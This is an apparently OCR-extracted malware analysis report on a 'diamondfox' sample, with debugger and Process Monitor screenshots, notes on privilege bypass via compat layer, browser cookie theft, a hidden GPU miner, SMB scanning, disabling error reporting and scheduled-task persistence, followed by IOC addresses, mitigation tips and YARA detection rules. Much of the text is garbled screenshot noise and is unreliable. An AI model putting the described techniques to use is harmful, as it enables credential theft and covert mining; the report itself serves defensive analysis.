EDSS C4FEFFRF st by [ EsP add edx:4"{\"status\":\"success Turkey\",\"countryg|
B ProcessHacker.oxe Cess FC 0D EST
ProcessHack . so B TUFKEYNINIESS | Ept
38 32dbg.exe . SDED 14FBFFFF| cmp eax,
: . £5 ssaFFEF err Ja_sonia_4.214040
==l soniaid ey . Cé4s FC | push edx edx:&"{\"status\":\"success country\":\"Turkey’ countryc
Widecie : 2 screerer eriac | :
4 2F gozmon.exe . 51 Gr 5 =oorsEs &"{\"status\"iy's N T AN AT T e MR WA | WA AW WA
. push eax eax:af\"status\":\"success\", \ "country urkey\",\"cou Sraptr Cebp-aC1Zio0MDRsES &'\ sra cess\",\" country \"contr egion\":\"08\ ", \"re
27 goamontlere : 2B e aword per asiea| TS LI YN\ &6 rdptr ebp-sCI=C 0 Rt R SN
B jusched.exe 08 sarereer IS?lfééaE o by [ebp-5C] :"{\"statu country Turkey\", XT:00210283 SOn1a_s. exe: $10283 #F653
jucheckexe e — g S EATEER yoskom: | U4 powm2 | wpskim3 | i pskima | @ pekims x= Yere Degiskener | 7 Yapi |
e [Hex
success ounTry\ "t \ "Turkey\", \ "countrycode egionnane Jeaaag 01 00
- — — frenen 15 0E
DLl s 71 6% Dhcical Seaacs
64205
= oo - [ eaes
Seaar
Fle fdit Event Fiter Tools Options Help 364808
- freceey
sHABR vAS B &5 (EBLLZR e
Tme .. ProcessN..  PID_ Operstion Path Resut Detal seanss
33 - g WIN-LTKDN79P 80J localdomain:63238 > ip-api.com htip Length: 0. mss: 14METSET
03:33.. 8 'sonia_4exe 1944 a4 TCP Send WIN-LTKDN7SP&0J localdomain:63238 - ip-api com hitp. SUCCESS Length: 438, stati 323578
0333 W sonia_dexe 1344 A4TCP Receive  WIN-LIKDNT3P 80 localdomain:63238 -> ip-api com http SUCCESS Length: 462,520 3gagas
03:35.. Tisonia_fexe 1944 A4TCP Receive  WIN-LTKDNTSPE0Jlocaldomain:63238 -> ip-api com hitp SUCCESS Length: 0. seqnum  3648A8
cases
« 364508
se4zpe
Shine 1 1 of ARR 707 avants (07521 T 363858
3easFe| ap o8




Compact_Layer

It uses compat_layer structure to run as administrator without asking for admin rights.

i1 kerneisz.7spesEse

Test esi, 100
jne_kernel32.75DCDEED

Test dword ptr ss:[ebp+icl,s
je kernel32.75DBESES4

push esi

push dword ptr ss:[ebp+15]
push dword ptr Lebp+35
push dword ptr

=

cmp dword ptr s
jne kernel3z.75
mov eax,dword ptr ss:[ebp-4]

curl_easy setopt

Regulates the behavior of libcurl.dll with curl_easy_setopt

lebp+38] | [ebp+38]:L"__COMPAT_LAYER=VistaSetup

]:L"__COMPAT_LAYER=V

\setup_install.exe

It is used to tell libcurl how to behave. By setting the appropriate options, the application changes

the behavior of libcurl.

F7C3 00000080( test ebx,30000000

ush ebx

BEOE mov eax,dword ptr
85C0 test eax,eax

v 75 03 jne setup_install.
8846 10 mov eax,dword ptr
03cz add eax,edx
0385 49050000( add eax,dword ptr ss
8B18 mov ebx,dword ptr
8B7E 10 mov edi,dword ptr
03FA add edi,edx
03BD 49050000( add edi,dword ptr
aspe test ebx,ebx

-~ 0OF84 AZ000000| j& setup_install.51D384

~ 75 04 jne setup_install.51D2EE
03DA add ebx,edx e
43 inc ebx
43 inc ebx
push ebx
81E3 FFFFFF7F|and ebx,7F

EAX  0051BOFS setup_install.0051B0F8
EEBX 0051B142 “curl sy_setopt™

ECX 77883000 ntd11.77883000

EDX 00400000 setup_install.00400000
EBP  D051D013 setup_install.00510013
ESE  0028FF63 &"curl_easy_setopt”
ESI  DO51E048 setup_install.00518048
EDI  0051EOF3 setup_install.0051B0FS
EIP  0051D2FS setup_install.0051D2F5

EFLAGS 00000206
ZF 0O PF 1 AF O
OF 0O SF O DFO
CF O TFO IF1

LastError 00000000 (ERROR_SUCCESS)

p! e
FFB5 45050000/ push dword ptr ss:[ebp+s

m

ebx=0051B142 "curl_easy_setopt"

Varsaylan (stdcall) '] 5 2 [0 ilitsiz
1: [esp+4] 00000000
2 esp+3] 00000000

0D02BFF94

3 esp
4: [esp+10] 0028FF8C




,’

/ pthread_cond broadcast

The pthread_cond_broadcast() function is used to unblock all threads currently blocked by the
specified state variable.

TS 1 movfemcr oo pTaE ||| EBX  LUSIBIeA ~pTNrean_cono_broancast
03c2 add eax:edx EE pononbn -
0385 49050000 add eax,dword prr EDX 00400000 Setup,'!ﬂsta'l].00400000
BE1S mov ebx,dword ptr ebx: "pthread_cond_broadcast" EEF 00510013 St‘?tUDJﬂSthl-UDSlDUlB .
8BTE 10 mov edi,dword ptr ESP 0028FF64 &"pthread_cond_broadcast
03FA add edi,edx ESI  0D051B070 setup_install. 00518070
03BD 49050000( add edi,dword ptr ss:[[eb EDI 0051E108 setup_install.0051E108
85DB test ebx,ebx ebx:"pthread_cond_broadcast”
v DF84 A2000000|je setup_install.siD3s4 i i EIP 0OS51D2F6 setup_install.0051D2F6
F7C3 00000080( test ebx,S0000000 ebx:"pthread_cond_broadcast!
v 75 04 jne setup_install.51D2EE EFLAGS 00000206
03DA add ebx, = pthread_cond_broadcast ZED PE 1 AF D
43 inc ebx hread_cond_broadcast OF 0 SEO DEO
43 inc ebx hread_cond_broadc -
53 push ebx hread_cond_broade CFo TFO IF1
B1EZ FFFFFF7F| and ebx, TFFEFFEF pthread_cond_broadcast"
53 push ebx pthread_cond_broadcast” Lasterror 00000000 (ERROR_SUCCESS)
FFBS 45050000| push dword ptr ss:[ebp+s 1
FF35 430F0000| €alll dword ptr ss:[ebp+F 2 - i
= 2 Lebp L varsaylan {stdcall) '] 5 2] [ kiitsiz

Inno Setup

The Inno Setup installer has two processes. The primary process is a latent process. Extracts and
executes the actual sub-installer to a temporary folder (elevating to Administrator privileges if
necessary).

% onia_5.exe - PID: 1B10 - Modiil: sonia_5.exe - Thread: Ana Islem 184C - x32dbg
Dosya Gérimim  Debug 1z Eklentier Sk Kullamlarlar  Secemekler  Yardm  Feb 112020
D@ 0 ¢t 9§ TS Lls L B F
B cru | Doank | [ ok | [ Noter | ® kesmemokilan | M Hafiza | [0 wiin Gatien | @sen | I/ kemutDosyas

. MoV _edx,s0n1a 5. 405188 40E188: INNO SEtUp Setup DAata (5.5.7)°
85 40000000 mov_ecx,40 40: '@’

eax:"Inno setup setup Data (5.5.7)"

push sonia_s.40As
push dword ptr

Command line: "C:\Users\zorro\AppData\Local\Temp\is-4GL93.tmp\sonia_5.tmp"
/SL5="$5B0346,506127,422400,C:\Users\zorro\Desktop\210703-
g9ppb8b36j_pw_infected\viris\setup_installer\sonia_5.exe

oT%3 L+ MUY URUL U PLL 33 U S, T
C645 D8 00 (mov byte ptr ss:ffebp-z:zJ,0
BDSE C4 lea edx,dword ptr ss:[lebp-3

E2 02000000{ MOV 2Cx,2

ES 10AD4000{ mov_eax,sonia_5.40AD10 eax:&"/sL5=\"4$5B0346,50612
ES 3S5AGFFFF| Eall sonia_5.405194

8D45 FO lea eax,dword ptr ss:|[lebp-1{[ebp-10]:"/5L5="\"%5B0346,506127,422400,"
8B15 2CCE40{mov edx,dword ptr ds:[40CE2

co ocovcecccl walT camdia C ANZIIC,

m 2

422400,", 40AD10:"/SL5=Y""$%:




Cookie Steal

He also used fug3g.gg.exe for Edge.

ecoccoee

°
H
4

eeoco0e

£

11111.exe directly accesses and steals chrome cookies.

Doya

m Gorumum Yardm
 Netscape WTTP Cookle File

660683084

ghgals
FAS4PIDebugloghlett
P——"
aglg.g9.dg
S

D wintookbl.exe 1

® Drocertacer ere 15
M x32dbg ene. 161

* e dioe
el S

‘ﬂ iBD VA-F ]

search

690062640
642801110

o

verify 759

TRUE
compler.
TRUE

Showeng1 343 of 163,238 events (0.7

842350093

Mem Reduct gezginler-t.

<« Local

B4

bAdl » Temp »

le v Bununlapaylas v Vaz

Ad
4] api-ms-win- core-string-1L-1-0.dlil
= 0_301-b09ml

=] au-descriptor-
E] axhub.dil

[ ccaramp

% dbghelp.an
[ fidghga2 fsa.
[ FXsAPIDebugLogFile bt

21 gozmontd.exe

[ jfiag3g_gg.exe
| jusched.log

&) cetup_installer.exe
& symsrv.ai

] tmp26A9.tmp

[ wmsetup.og

~[4][ 4ra: e

Yeni las

Degigtirm)
19.0/ 202

19.07.202

' tuniama Rt 61 5K

CSrsS.exe

All files in C:\Users\%username%\AppData\Local\Temp\csrss run under csrss.exe.

Mame

e CEISs.EXE

=] injector.exe

1 ww3l.exe

7] mg20201223-1.exe
571 mI20201223 exe

2 jfiag3g_gg.exe Degistirme tarihi: 19.07.202116:39

[ EdgeCookiesView

File Edit View Options Help

EEEEEE]

Modified Time Expire Time Host Name Pz
‘ m

PID

2920
10768
1596
18068
6120

CPU T/O
0,01
013
7,54
0,55
8,82

wid  6of9esaled:
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ee.exe / zz.exe

Exes running in csrss as ee.exe and zz.exe are actually gminer v2.54.

gminer provides display of detailed information (temperature, power consumption, heatsink load,
memory frequency, processor frequency, energy efficiency) for each device.

rro~Desktopiee .exe

fllowed options:
=h [ —help 1
—v_[ —version 1

_wverification arg

—proto aryg
—worker arg

—d [ —devices 1 arg
—i [ —intensity 1 arg

dlﬂplay available GPUs
nining algorithm
ratun server

address

or stratum connection
enablesdisable celt1f1categ verification
for ssl stratum connection
stratum protocol: proxy or stratum
wvorker name for Ethash strarum. for pools
that does not supoort wallet.worker
space—separated list of devices
space—separated list of intensities {1-188>

getdiskspace.exe
Provides information about disk spaces

sersszorro *CisUsersszorro~Desktopscasrsshgetdiskspace ..exe
sA?724 B3:53:83 drives [A:s Gz Disd
s/B7-24 B3:5%3:83 drive A:N
sA7-24 B3:53:83 drive C:on
B3:53:83 drive D:x
A3:53:83 filtered drives [C:x]
B3:5%3:83 drive C:% total 64422488192 free 37133561856
A3:53:83 URL ~apisspace?uuid= data [{"drive'":"C:*\"."total:6442240881
2. "free'":371335618563 1
21/8?/24 A3:53:83 failed to post disk space: Post Aapisspacefuuid=:
protocol scheme '

unsupporte
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smbscanlocal10906.exe

He scanned for possible vulnerabilities with smbscanlocal10906.exe that he dropped to csrss and
could not find any vulnerabilities.

C:vwlsersszorrorCislszersszorrosDesktopscsrsssambscan local3986 . exe

no vulnerable hosts found

Cislzersszorrol

Disable Error Reporting from Registry

]
o Kayit Defteri Duzenleyicisi o |[=@ ] =
Dosya Dizen Gorandm Sk Kullanilanlar  Yardim
“ L HTML Help <[ ad Tar Veri ”
| = I ) reackia
W Process Hacker [WIN-L1 [Mstorage 8] (Varsayilan) REG_SZ (deger atann]| [t
Hacker View Tools U i SeriptedDiagnosticsProvider 24| Disable REG_DWORD 0x00000001 (| |——
. Tablet PC -
@, Refresh <3 Opti
Foneirecapffr0mtonsy] Windows Error Reporting DWORD (32 bit) Degerini Diizenle ==
Processes | Senices | Netw
Debug Deterad
Mame i HeapControlledList S
) winlogon.exe ¢ L.} RuntimeExceptionHelperModules [ctie
4 4 explorer.exe [ Deger versi Taban
5 winteclservice. Windows Search f] & Oratikc 04046
(B wintoolsd.exe :x'":wsgafi;‘“’s \ Ondali
-J4 Windows Desktop Searc
45&;25::1‘:}?% i Windows Mail [ = r
L S Bilgisayar\HKEY_LOCAL_MACHINF\SOFTWARE\Wow6432Node\MicrosoftWindows\Wind: amem | | =l
il
£7 Process Monitor - C:\Users\zorro\Desktop\ ToolBag\Sandbex\Noriben_23_ul_21_04_51_177909.pml = [ =@ [ 2] [Tespra] oooooooo
— [esp+s] 7EFDEODD
File Edit Event Filter Tools QOptions Help [esp+c] oooo0003
o - [esp+10] 0000DDDD
[eHIAaBE|[ A B &8 (EBLAZE fesp-14] 002€3300 "07,"
Time . Process Name PID Operation Path Resut  Detal -
2315 #sonia_bexe 3904 @ RegOpenkKey HKLM\Software\Wow6432Node\Microsoft\Windows\Windows Eor Reporting\WMR SUCCESS Desired Access: Query Valus L
23.18... #sonia_bexe 3904 @ RegSetinfokey HKLM\SOFTWARE \WowE432Node Microsoft Wiindows \Windows Eror Reparting WIMA SUCCESS KeySetnformationClass: KeySetHan ~
2315 #sonia_Sexe 3504 # ReqQuenValue HKLM\SOFTWARE\WowB432Node Microsolt\Windows\Windows Eor Reporting\WMR\Disable SUCCESS Type: REG_DWORD, Length: 4, D
23:18:.. M¥sonia_b.exe 3904 RegCiosekey HKLM\SOFTWARE\WowB432Node \Microsoft Wiindows \Windows Emar Reperting WA SUCCESS
o i oot it T U e e iyt

I0Cs

185.215.113.62:51929 162.159.133.233 172.67.191.67 104.21.76.97
136.144.41.201 185.20.227.194 185.183.96.53 52.219.156.38
116.202.183.50 74.114.154.18 159.65.63.164 172.67.171.54
148.92.218.88 172.67.201.250 144.202.76.47 212.86.115.78
34.117.59.81:443 34.98.75.36 172.67.199.231 62.233.121.32
2.56.59.245 143.204.98.78 103.155.92.96 111.90.146.149

176.111.254:56328 172.67.186.35 45.139.184.124 95.216.46.125

y
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Scheduled Task

It creates scheduled tasks and runs owegj.exe from time to time, as well as adds csrss.exe and many
exes to scheduled tasks.

a8 sychost.exe 834 16,62 MB Windows Hizmetleri igin Ana ...
47 | taskeng.exe 1704 172 MB  WIN-CEYN\zorro Gorev Zamanlayicl Alt Yapisi
= | owegj.exe 1768 14,32 MB  WIN-CEYN\zorro
57 taskeng.exe 1796 1,68 MB WIN-CEYM\zorro Garev Zamanlayici Alt Yapisi

Chrome Secretly Steals Information In The Background

Chrome arka planda gizlice calisirken bilgi almak igin izin istemektedir.

4 G chrome.exe 2272 69,05 1393 kB/s 47,06 MB Google Chrome
G chrome.exe 3680 2,38 MB  WIN-L1KDN79P80M\zorre  Google Chrome
G chreme.exe 3976 8,55 MB  WIN-L1KDN79P80M\zerre  Google Chreme
. il
<. Etkilesimli Hizmetler Algilamasi ==

Bu bilgisayarda galisan program bir ileti gérintllemeye
calisiyor
Program sizden bilgi almaya veya gorevi tamamlamak igin izninize gereksinim

duyabilir.
Bu neden olugsuyor?

S lletiyi gériinttile

< Daha Sonra Sor

v Program gynntilanini goster

@ - O € U P =
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Java

Here is the command info for base64 encoded java.

"C:\Program Files\Java\jre1.8.0_281\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files\Java\jre1.8.0_281" -vma
LWNsYXNzcGF0aABDOIxQcm9IncmFtIEZpbGVzXEphdmFcan)IMS44LjBfMjgxXGxpYIxkZXBsb3kuamFyAC1EamF2YS5zZWN1c
ml0eS5wb2xpY3k9ZmIsZTpDOIxQcm9ncmFtIEZpbGVzXEphdmFcanlIMS44LjBfMjgxXGxpYIxzZWN1cml0eVxqYXZhd3MucG9s
aWN5AC1EdHJ1c3RQcmM94eT10cnVIAC1YdmVyaWZ50n]IbW90ZQAtRGpubHB4LmhvbWU9QzpcUHJVvZ3JhbSBGaWxIc1xKYX
ZhXGpyZTEuOC4wXzI4MVxiaW4ALURQYXZhLnNIY3VyaXR5Lm1hbmFnZXIALURzdW4uYXdOLndhcm11cD10cnVIAC1YYm9vdG
NsYXNzcGF0aC9hOkM6XFByb2dyYWOgRmIsZXNcSmF2YVxgqecmUxLjguMF8yODFcbGliXGphdmF3cy5qYXI7QzpcUHJvZ3JhbSB
GaWxIlc1xKYXZhXGpyZTEuOC4wXzl4MVxsaWJcZGVwbGI5LmphcjtDOIxQcm9IncmFtIEZpbGVzXEphdmFcanlIMS44LjBfMjgxX
GxpYIxwbHVnaW4uamFyAC1EamRrLmRpc2FibGVMYXNOVXNhZ2VUcmFja2luZz10cnVIAC1Eam5scHguanZtPUMG6XFByb2dyY
WOgRmMISZXNcSMF2YVxqecmUxLjguMF8yODFcYmIuXGphdmF3LmV4ZQAtRGpubHBALNZtYXIncz1MVVIxWkdzdVpHbHpZV0pz
WIV4aGMzUIZjMkZuWIZSeVIXTnJhVzVuUFhSeWRXVUE= -ma LVNTVkJhc2VsaW5IVXBkYXRIAC1ub3RXZWIKYXZh

Decoded version.

"C:\Program Files\Java\jre1.8.0_281\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files\Java\jre1.8.0_281" -vma -
classpathC:\Program Files\Java\jre1.8.0_281\lib\deploy.jar-Djava.security.policy=file:C:\Program
Files\Java\jre1.8.0_281\lib\security\javaws.policy-DtrustProxy=true-Xverify:remote-Djnlpx.home=C:\Program
Files\Java\jre1.8.0_281\bin-Djava.security.manager-Dsun.awt.warmup=true-Xbootclasspath/a:C:\Program
Files\Java\jre1.8.0_281\lib\javaws.jar;C:\Program Files\Java\jre1.8.0_281\lib\deploy.jar;C:\Program
Files\Java\jre1.8.0_281\lib\plugin.jar-Djdk.disableLastUsageTracking=true-Djnlpx.jvm=C:\Program
Files\Java\jre1.8.0_281\bin\javaw.exe-Djnlpx.vmargs= -Djdk.disableLastUsageTracking=true -ma -SSVBaselineUpdate-
notWeblJava
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Solution proposals

There should be at least 1 up-to-date and reliable antivirus software on the system.

Care should be taken when reading e-mails from unknown addresses, if there is an attachment in the
e-mail content, this attachment should be scanned for viruses before opening it.

Spam emails should not be opened.

If it is a company computer, the EDR system must be present on the computer.

Harmful connections and IP addresses on the network should be filtered and access to these IP
addresses should be blocked.

The operating system should always be kept up to date.
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Yara Rules

import "hash"
rule md5_hash_diamondfox
{
meta:
author =" ABDULSAMET AKINCI - ZAYOTEM "
description = "diamondfox"
first_date="03.07.2021"
report_date="27.07.2021"
file_name="x86_64setup.exe"
strings:
Sb="bf796dca0c45920e180ac8b9298f8a01"
Sc="8ed9fc32d350c4b26eb9064fd43cf06a"
$a="9e285901af26b01bafe9afb312620887"
$d="6e487aalb2d2b9ef05073¢c115729252"
Se="5463ae9cd89ba5a886073f03clecbble"
$f="a2d08ecb52301€2a0c90527443431e13"
Sg="dd78b03428b99368906fe62fc46aaafldb07a8b9"
Sh="8c4df9d37195987ede03bf8adb495686"
$j="f00d26715ea4204e39ac326f5fe7d02f"
Sk="a73c42ca8cdc50ffefdd313e2badd423"
SI="dd0b8a5769181fe9fd4c57098b9b62bd"
Sm="3e2c8ab8ed50cf8e9a4fe433965e8f60"
Sn="881241cb894d3b6c528302edc4f41fal"
condition:

Sa or Sb or Sc or $d or Se or $f or Sg or Sh or §j or Sk or Sl or Sm or $n

y
Ve

e e —
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import "hash"
rule strings_diamondfox

{

meta:

author = "ABDULSAMET AKINCI - ZAYOTEM"
description = "diamondfox"
first_date="03.07.2021"
report_date="27.07.2021"

file_name="x86_64setup.exe"

strings:

Sb="sonia"
Sc="setup_installer"
Sa="setup_install.exe"
$d="libcurlpp.dIl"
Se="libcurl.dll"
Sf="setopt"
Sg="compact_layer"

Sh="inno setup"

Sj="pthread_cond_broadcast"

condition:

Sa or Sb or Sc or Sd or Se or $f or Sh or Sjor Sg

y
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ABDULSAMET AKINCI

https://www.linkedin.com/in/samoceyn/



https://www.linkedin.com/in/samoceyn/

